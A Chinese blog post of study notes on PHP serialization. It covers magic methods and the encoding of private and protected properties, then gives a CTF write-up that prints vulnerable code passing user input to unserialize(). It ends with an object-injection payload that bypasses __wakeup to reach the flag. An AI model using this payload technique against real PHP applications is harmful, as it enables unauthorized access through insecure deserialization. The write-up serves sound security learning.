序列化与发序列化 绕过__weakup()

  1. 序列化与发序列化
  2. php
    1. 1.1前置知识
      1. 1.1.1常用的一些魔术方法
      2. 1.1.2相关函数
      3. 1.1.3序列化与反序列化
      4. 1.1.4格式
  3. 2.常见的绕过
  4. 3.找点题
    1. [极客大挑战 2019]PHP

序列化与发序列化

php

1.1前置知识

反序列化的对象是类与对象

1.1.1常用的一些魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__construct()//创建对象的时候使用

1.1.2相关函数

unserialize()将传入字符串反序列化。

serialize()将传入变量序列化。

与之类似于还有:json_encodejson_decode

1.1.3序列化与反序列化

序列化是将任意类型的变量以特定的规则转换成一串字符串,可以用更少的空间保存对象里的信息,便于传输;反序列化则是根据规则还原字符串所对应的变量;

如果变量类型是protected,则会在变量名前加上%00*%00,private则会在变量名前加上%00类名%00(这里不可见字符要用url编码表示)

1.1.4格式

image-20220119132735454

image-20220119132752202

2.常见的绕过

[(33条消息) CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化

3.找点题

[极客大挑战 2019]PHP

访问www.zip拿到源码

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>//class.php
  <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
     //index.php

index.php ,会调用class.php,以及对输入反序列化

然后因为要绕过wakeup,把Name后的数字改成3.因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00

最后payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

提交得到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。